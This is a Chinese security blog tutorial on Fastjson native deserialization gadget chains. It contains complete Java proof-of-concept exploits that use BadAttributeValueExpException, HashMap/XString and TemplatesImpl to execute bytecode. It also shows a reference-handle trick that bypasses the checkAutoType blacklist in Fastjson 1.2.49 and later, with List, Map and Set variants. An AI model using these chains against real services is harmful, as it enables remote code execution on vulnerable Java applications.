Fastjson原生反序列化


Fastjson原生反序列化

前置知识

先了解什么是Fastjson

1
Fastjson 作为一个高性能的 Java JSON 库,其核心功能是将 Java 对象转换为 JSON 字符串(即toJSONString)和将 JSON 字符串转换为 Java 对象(即parseObject/parseArray)。

Fastjson序列化核心流程

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
第一优先级@JSONField 注解
这是最高指令无论有没有 Getter或者字段是私有的只要加了注解Fastjson 就会听它的
@JSONField(name="alias")指定 JSON 中的字段名
@JSONField(serialize=false)强制不序列化该字段直接忽略)。
@JSONType可以用于类上控制整个类的序列化行为例如指定序列化的字段禁用某些字段等

第二优先级符合规范的 Getter 方法
如果没有注解Fastjson 最主要依靠 Getter 方法来获取值哪怕该类中没有对应的成员变量只要有 Getter 方法JSON 中就会出现该字段格式要求{
方法名必须以 get 开头且第四个字母必须大写 getName)。
方法必须是 public 
方法不能有参数
方法返回值不能是 void}
特例布尔值):对于 boolean  Boolean 类型is 开头的方法 isValid也会被视为 Getter
    
第三优先级Public 成员变量 (Public Fields)
如果一个字段没有对应的 Getter 方法但它是 public Fastjson 也会直接读取该字段的值进行序列化

举例子

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public class User {
    // 1. 私有字段:实际存储的值是 "zhangsan"
    private String name = "zhangsan";

    // 2. Public 字段:实际存储的值是 18
    public int age = 18;

    // 3. Getter 方法:注意!这里返回了假数据 "Lisi"
    public String getName() {
        return "Lisi"; // 故意搞事
    }

    // 4. 注解:强制改名为 "user_age"
    @JSONField(name = "user_age")
    public int getAge() {
        return 100; // 故意返回 100
    }
    
    // 5. 一个没有对应字段的 Getter(虚拟属性)
    public String getFlag() {
        return "CTF{xxx}";
    }
}

输出

1
2
3
4
5
{
    "name": "Lisi",
    "user_age": 100,
    "flag": "CTF{xxx}"
}

原因

1
2
3
name 字段虽然内存里的字段是 "zhangsan" Fastjson 优先调用 getName()所以结果是 "Lisi"
user_age 字段虽然 public int age  18 getAge() 存在且有 @JSONField 注解所以取名为 user_age 且值为 100
flag 字段虽然类里根本没有 flag 这个变量但因为有 getFlag()Fastjson 认为这是一个属性将其序列化

数据类型转换

1
2
3
4
5
6
7
Fastjson 能够智能地处理各种 Java 数据类型到 JSON 类型的映射

基本类型及其包装类int, long, boolean, double, String 等会直接转换为 JSON 的基本类型数字布尔字符串)。
复杂对象对象内部的引用类型字段会递归地进行序列化形成嵌套的 JSON 对象
集合类型List, Set, Map 等集合类型会转换为 JSON 数组或 JSON 对象
日期类型默认情况下java.util.Date  java.sql.Timestamp 等日期类型会转换为时间戳long 类型),或者通过 @JSONField(format="...") 指定为特定格式的字符串
枚举类型枚举的 name() 方法或 toString() 方法通常会被序列化为字符串

现有版本

1
2
3
FastJson1版本 <= 1.2.48

FastJson2版本 >= 1.2.49(目前高版本依旧通杀)

fastjson 1.2.48

直接在maven文件里添加

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
    <dependencies>
        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.19.0-GA</version>
        </dependency>

        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.48</version>
        </dependency>
    </dependencies>

FastJson链子1寻找

既然是原生反序列化,那必然是在fastjson包里面的,我们直接去fastjson包中找哪些类实现了Serializable接口就行,最终只找到两个类,JSONArray与JSONObject,并且这两个类都是extends继承了JSON类的,我们拿第一个讲一下,实际上这两个在原生反序列化当中利用方式是相同的。

先来看JSONArray类,一整个看下来发现这个类虽然接入了Serializable接口,但是始终没有实现readObject方法的重载,并且在继承的父类JSON中也没有发现有readObject方法,这意味着我们需要从其他类中readObject方法作为入口方法去触发原生反序列化

image-20260116151101146

注意到在JSON类中的toString()方法能触发toJSONString()方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
    public String toString() {
        return this.toJSONString();
    }

    public String toJSONString() {
        SerializeWriter out = new SerializeWriter();

        String var2;
        try {
            (new JSONSerializer(out)).write(this);
            var2 = out.toString();
        } finally {
            out.close();
        }

这里重写了toString()方法,该方法返回toJSONString()方法调用的结果,我们重点来看toJSONString()方法,这个方法是用于将当前对象序列化成JSON字符串,而这里能调用任意类的getter方法

1
能调用任意类的getter方法的原因简单说就是Fastjson  `JSONArray` 里的内容转成 JSON 字符串时Fastjson 的序列化器(`ASMSerializerFactory`)接手工作它遵循 JavaBean 规范为了获取对象的数据来生成 JSON它必须调用对象所有的 Getter 方法详细看https://y4tacker.github.io/2023/03/20/year/2023/3/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#%E4%B8%BA%E4%BB%80%E4%B9%88fastjson1%E7%9A%841-2-49%E4%BB%A5%E5%90%8E%E4%B8%8D%E5%86%8D%E8%83%BD%E5%88%A9%E7%94%A8

而有些类的getter方法是可以造成一些漏洞的,例如CB链通过触发TemplatesImpl的getOutputProperties方法实现加载任意字节码最终触发恶意方法调用。所以fastjson序列化TemplatesImpl时就会调用getOutputProperties从而rce

触发toString()方法1

然后现在需要找一个能触发toString()方法,在CC5我们就知道了BadAttributeValueExpException的readObject方法调用了toString方法.

image-20260116165119940

这里的话会从对象中读取一个val属性的值,并赋值给valObj变量,那么如果我们能控制这个ois对象中val属性的值为某个类的对象,那么就可以调用该对象的toString()方法,这里的话是可控的。具体可以看cc5

怎么传入TemplatesImpl

这里JSONArray 实现了 List 接口。可以把它看作是一个“穿着 JSON 外衣的 ArrayList”。

image-20260116192143864

而add方法就可以把TemplatesImpl 这个对象存储到了 jsonArray 内部管理的列表(List)里

image-20260116192251901

JSONSerializer 去执行 write(this) 时,传入 JSONArray,序列化器的逻辑是遍历这个 List 中的每一个元素,并对每一个元素进行序列化。由上面知 TemplatesImpl 对象进行序列化就会调用getOutputProperties

FastJson1最终POC1

1
2
3
4
5
6
7
8
9
BadAttributeValueExpException#readObject()
    ->JSON#toString()
    	->TemplatesImpl#getOutputProperties()
    		CC3链
    			TemplatesImpl#newTransformer()->
    				TemplatesImpl#getTransletInstance()->
        					TemplatesImpl#defineTransletClasses()->
            					TemplatesImpl#defineClass()->
                					恶意类字节码执行
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
package org.example;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.io.*;

import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.management.BadAttributeValueExpException;


public class Main {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_name","a");

        byte[] code = Files.readAllBytes(Paths.get("D:\\1\\代码集合\\java代码\\CB\\src\\main\\java\\org\\example\\test.class"));
        byte[][] codes = {code};
        setFieldValue(templates,"_bytecodes",codes);

        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

        //触发TemplatesImpl#getOutputProperties()方法
        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templates);

        BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null);
        setFieldValue(badAttributeValueExpException,"val",jsonArray);

        serialize(badAttributeValueExpException);
        unserialize("fastjson.txt");
    }
    public static void setFieldValue(Object object, String field_name, Object field_value) throws NoSuchFieldException, IllegalAccessException{
        Class c = object.getClass();
        Field field = c.getDeclaredField(field_name);
        field.setAccessible(true);
        field.set(object, field_value);
    }
    //定义序列化操作
    public static void serialize(Object object) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("fastjson.txt"));
        oos.writeObject(object);
        oos.close();
    }

    //定义反序列化操作
    public static void unserialize(String filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        ois.readObject();
    }
}

image-20260116192807120

FastJson链子2寻找

HashMap#readObject()

image-20260116195729925

在HashMap#readObject()方法中有一个putval方法,跟进putVal,这里调用equals方法

image-20260116195806913

AbstractMap#equals

这里的话链子是调用到AbstractMap.equals,在equals中又调用到了XString的equals

image-20260116195407860

XString#equals()

继续跟进到XString的equals,可以看到可以调用任意类的toString,这里的obj2可以设置为JSONArray

image-20260116203317463

FastJson1最终POC2

1
HashMap#readObject() ->AbstractMap#equals-> XString#equals() -> 任意调#toString() 
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
package org.example;

import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.io.*;
import java.util.HashMap;

import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;



public class Main {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_name","a");

        byte[] code = Files.readAllBytes(Paths.get("D:\\1\\代码集合\\java代码\\CB\\src\\main\\java\\org\\example\\test.class"));
        byte[][] codes = {code};
        setFieldValue(templates,"_bytecodes",codes);

        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

        //触发TemplatesImpl#getOutputProperties()方法
        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templates);
        XString xString = new XString("zhizuijimi");

        HashMap hashmap1 = new HashMap();
        HashMap hashmap2 = new HashMap();
        // 这里的顺序很重要,不然在调用equals方法时可能调用的是JSONArray.equals(XString)
        hashmap1.put("yy",jsonArray);
        hashmap1.put("zZ",xString);
        hashmap2.put("yy",xString);
        hashmap2.put("zZ",jsonArray);
        HashMap map = makeMap(hashmap1,hashmap2);
        serialize(map);
        unserialize("fastjson.txt");
    }
    public static HashMap<Object, Object> makeMap(Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> map = new HashMap<>();
        // 这里是在通过反射添加map的元素,而非put添加元素,因为put添加元素会导致在put的时候就会触发RCE,
        // 一方面会导致报错异常退出,代码走不到序列化那里;另一方面如果是命令执行是反弹shell,还可能会导致反弹的是自己的shell而非受害者的shell
        setFieldValue(map, "size", 2); //设置size为2,就代表着有两组
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));  
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setFieldValue(map, "table", tbl);
        return map;
    }
    public static void setFieldValue(Object object, String field_name, Object field_value) throws NoSuchFieldException, IllegalAccessException{
        Class c = object.getClass();
        Field field = c.getDeclaredField(field_name);
        field.setAccessible(true);
        field.set(object, field_value);
    }
    //定义序列化操作
    public static void serialize(Object object) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("fastjson.txt"));
        oos.writeObject(object);
        oos.close();
    }

    //定义反序列化操作
    public static void unserialize(String filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        ois.readObject();
    }
}

解释一下payload,当你运行 unserialize 时,最外层的 map 开始恢复。 查看你提供的 readObject (Snippet 2)

1
2
3
4
5
6
7
8
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
    K key = (K) s.readObject(); // 读取到 hashmap1
    V value = (V) s.readObject();
    // 放入 map,这里会计算 key 的 hash
    putVal(hash(key), key, value, false, false); 
}
// 下一次循环,读取到 hashmap2,再次调用 putVal

创建2组hashmap原因

当放入第二个 key (hashmap2) 时,由于它和 hashmap1 的 hash 值一样,会落入同一个槽位(这也是搞2 个 HashMap的原因,只有搞2个hashmap才会进行比较,当key的hash一样时,就会调用equals!)。此时代码逻辑如下:

1
2
if (p.hash == hash &&
    ((k = p.key) == key || (key != null && key.equals(k)))) // 

因为 hash 相同,为了确认这是否是同一个 Key,HashMap 必须调用 key.equals(k)。 即执行:hashmap2.equals(hashmap1)

然后进入 AbstractMap.equals,现在执行的是 HashMapequals 逻辑(继承自 AbstractMap)。它会逐个比较里面的元素。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
// 遍历 hashmap2 的元素
while (i.hasNext()) {
    Entry<K,V> e = i.next();
    K key = e.getKey();   // 假设当前取到了 key="yy"
    V value = e.getValue(); // 在 hashmap2 中,"yy" 对应的 value 是 XString

    // 去 hashmap1 (m) 里找 "yy" 对应的值
    // 在 hashmap1 中,"yy" 对应的 value 是 JSONArray
    if (value == null) {
    } else {
        // value 是 XString
        // m.get(key) 是 JSONArray
        if (!value.equals(m.get(key))) // 触发 XString.equals(JSONArray)
            return false;
    }
}

这里利用了 yy 这个键。在 hashmap2 里,yy 指向 XString。在 hashmap1 里,yy 指向 JSONArrayAbstractMap 认为既然你们 Key 一样,那 Value 也得一样才行,于是调用 XString.equals(JSONArray)

然后进入你提供的 XString 代码:

1
2
3
4
5
public boolean equals(Object obj2) { // obj2 传进来的是 JSONArray
  // ... ...
  else
    return str().equals(obj2.toString()); 
}

obj2JSONArray。调用 obj2.toString()JSONArray 没有重写 toString,调用父类 JSON.toString() -> toJSONString()。Fastjson 序列化启动 -> 扫描 Getter -> RCE。

每组hashmap塞2个值的原因

看到上面,肯定有疑问,按照上面的分析,只需要

1
2
hashmap1.put("yy",jsonArray);
hashmap2.put("yy",xString);

就够了,为啥要

1
2
3
4
hashmap1.put("yy",jsonArray);
hashmap1.put("zZ",xString);
hashmap2.put("yy",xString);
hashmap2.put("zZ",jsonArray);

原因如下:这里调用了hash函数

image-20260116223458250

跟进看看

image-20260116223547100

发现调用了hashcode,看看hashcode函数是啥

1
2
3
        public final int hashCode() {
            return Objects.hashCode(key) ^ Objects.hashCode(value);
        }

所以当执行到 hash(key),就有

1
Hash(Map1) = (hashCode(key) ^ hashCode(value)

如果都只有一组值

1
2
Hash(Map1) = (hashCode(yy) ^ hashCode(jsonArray)
Hash(Map2) = (hashCode(yy) ^ hashCode(xString)

两个hash显然不等(p.hash == hash 这里比较,只有相等才调用equals),所以我们利用java中hashCode(yy)=hashCode(zZ),凑出payload

1
2
3
4
hashmap1.put("yy",jsonArray);
hashmap1.put("zZ",xString);
hashmap2.put("yy",xString);
hashmap2.put("zZ",jsonArray);

这样两组map就相等了

1
2
Hash(Map1) = (hashCode(yy) ^ hashCode(jsonArray)+(hashCode(Zz) ^ hashCode(xString)
Hash(Map2) = (hashCode(yy) ^ hashCode(xString)+(hashCode(Zz) ^ hashCode(jsonArray)

为什么fastjson1的1.2.49以后不再能利用

FastJson2的版本是从1.2.49开始的,我们改一下maven项目的pom文件

1
2
3
4
5
<dependency>
  <groupId>com.alibaba</groupId>
  <artifactId>fastjson</artifactId>
  <version>1.2.49</version>
</dependency>

然后发现从1.2.49开始,JSONArray以及JSONObject方法开始真正有了自己的readObject方法,由于反序列化的时候readObject的调用是从外到内的,所以内层的JSONArray或者JSONObject对象的readObject方法也会被调用

image-20260123154213961

SecureObjectInputStream类当中重写了resolveClass方法,其中调用了checkAutoType方法做类的检查:

image-20260123154453008

这让TemplatesImpl类不被允许加载。(ParserConfig.java里有黑名单,不过有是用Hash 存黑名单)

checkAutoType绕过

为了解决这个问题,首先我们就需要看看什么情况下不会调用resolveClass,在java.io.ObjectInputStream#readObject0调用中,会根据读到的bytes中tc的数据类型做不同的处理去恢复部分对象

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
        try {
            switch (tc) {
                case TC_NULL:
                    return readNull();

                case TC_REFERENCE:
                    return readHandle(unshared);

                case TC_CLASS:
                    return readClass(unshared);

                case TC_CLASSDESC:
                case TC_PROXYCLASSDESC:
                    return readClassDesc(unshared);

                case TC_STRING:
                case TC_LONGSTRING:
                    return checkResolve(readString(unshared));

                case TC_ARRAY:
                    return checkResolve(readArray(unshared));

                case TC_ENUM:
                    return checkResolve(readEnum(unshared));

                case TC_OBJECT:
                    return checkResolve(readOrdinaryObject(unshared));

                case TC_EXCEPTION:
                    IOException ex = readFatalException();
                    throw new WriteAbortedException("writing aborted", ex);

                case TC_BLOCKDATA:
                case TC_BLOCKDATALONG:
                    if (oldMode) {
                        bin.setBlockDataMode(true);
                        bin.peek();             // force header read
                        throw new OptionalDataException(
                            bin.currentBlockRemaining());
                    } else {
                        throw new StreamCorruptedException(
                            "unexpected block data");
                    }

                case TC_ENDBLOCKDATA:
                    if (oldMode) {
                        throw new OptionalDataException(true);
                    } else {
                        throw new StreamCorruptedException(
                            "unexpected end of block data");
                    }

                default:
                    throw new StreamCorruptedException(
                        String.format("invalid type code: %02X", tc));
            }
        } finally {
            depth--;
            bin.setBlockDataMode(oldMode);
        }
    }

上面的不同case中大部分类都会最终调用readClassDesc去获取类的描述符,在这个过程中如果当前反序列化数据下一位仍然是TC_CLASSDESC那么就会在readNonProxyDesc中触发resolveClass

再回到上面这个switch分支的代码,不会调用readClassDesc的分支有TC_NULL、TC_REFERENCE、TC_STRING、TC_LONGSTRING、TC_EXCEPTION,string与null这种对我们毫无用处的,exception类型则是解决序列化终止相关。那么就只剩下了reference引用类型了。

如何成为引用类型

那么如何在JSONArray/JSONObject对象反序列化恢复对象时,让我们的恶意类成为引用类型从而绕过resolveClass的检查?

答案是当向List、set、map类型中添加同样对象时即可成功利用,这里也简单提一下,两个相同的对象在同一个反序列化的过程中只会被反序列化一次。那么我们可以在序列化的时候注入两个相同的 TemplatesImpl 对象,第二个 TemplatesImpl 对象被封装到 JSONArray 中。那么在反序列化我们的 payload 时,如果先用正常的 ObjectInputStream 反序列化了第一个 TemplatesImpl 对象,那么在第二次在 JSONArray.readObject() 中,就不会再用 SecureObjectInputStream 来反序列化这个相同的 TemplatesImpl 对象了,就会绕过checkAutoType()的检查!

FastJson2-POC1(List类型)

反序列化时ArrayList先通过readObject恢复TemplatesImpl对象,之后恢复BadAttributeValueExpException对象,在恢复过程中,由于BadAttributeValueExpException要恢复val对应的JSONArray/JSONObject对象,会触发JSONArray/JSONObject的readObject方法,将这个过程委托给SecureObjectInputStream,在恢复JSONArray/JSONObject中的TemplatesImpl对象时,由于此时的第二个TemplatesImpl对象是引用类型,通过readHandle恢复对象的途中不会触发resolveClass,由此实现了绕过

1
2
3
4
5
6
7
8
//用list去绕过fastjson2
ArrayList<Object> list = new ArrayList<Object>();
list.add(templates);
list.add(badAttributeValueExpException);

//序列化和反序列化
serialize(list);
unserialize("fastjsonSerialize02.txt");
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
package org.example;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.io.*;

import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.management.BadAttributeValueExpException;


public class Main {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_name","a");

        byte[] code = Files.readAllBytes(Paths.get("D:\\1\\代码集合\\java代码\\CB\\src\\main\\java\\org\\example\\test.class"));
        byte[][] codes = {code};
        setFieldValue(templates,"_bytecodes",codes);

        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

        //触发TemplatesImpl#getOutputProperties()方法
        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templates);

        BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null);
        setFieldValue(badAttributeValueExpException,"val",jsonArray);

        //用list去绕过fastjson2
        ArrayList<Object> list = new ArrayList<Object>();
        list.add(templates);
        list.add(badAttributeValueExpException);
        
        
        serialize(list);
        unserialize("fastjson.txt");
    }
    public static void setFieldValue(Object object, String field_name, Object field_value) throws NoSuchFieldException, IllegalAccessException{
        Class c = object.getClass();
        Field field = c.getDeclaredField(field_name);
        field.setAccessible(true);
        field.set(object, field_value);
    }
    //定义序列化操作
    public static void serialize(Object object) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("fastjson.txt"));
        oos.writeObject(object);
        oos.close();
    }

    //定义反序列化操作
    public static void unserialize(String filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        ois.readObject();
    }
}

image-20260129120335486

当我们写入对象时,会在handles这个哈希表中建立从对象到引用的映射

image-20260129122420203

当再次写入同一对象的时,会先在handles这个hash表中查到了映射,那么就会通过writeHandle将重复对象以引用类型写入

image-20260129123120089

因此我们就可以利用这个思路构建攻击的payload了。

FastJson2-POC2(Map类型)

1
2
3
4
5
6
7
//用Map去绕过fastjson2
HashMap map = new HashMap();
map.put(templates, badAttributeValueExpException);

//序列化和反序列化
serialize(map);
unserialize("fastjsonSerialize03.txt");

FastJson2-POC3(Set类型)

1
2
3
4
5
6
7
8
//用Set去绕过fastjson2
Set set = new HashSet();
set.add(templates);
set.add(badAttributeValueExpException);

//序列化和反序列化
serialize(set);
unserialize("fastjsonSerialize04.txt");

fastjson原生反序列化 - Infernity’s Blog

fastjson原生反序列化 - Infernity’s Blog

谢谢观看
使用 Hugo 构建
主题 StackJimmy 设计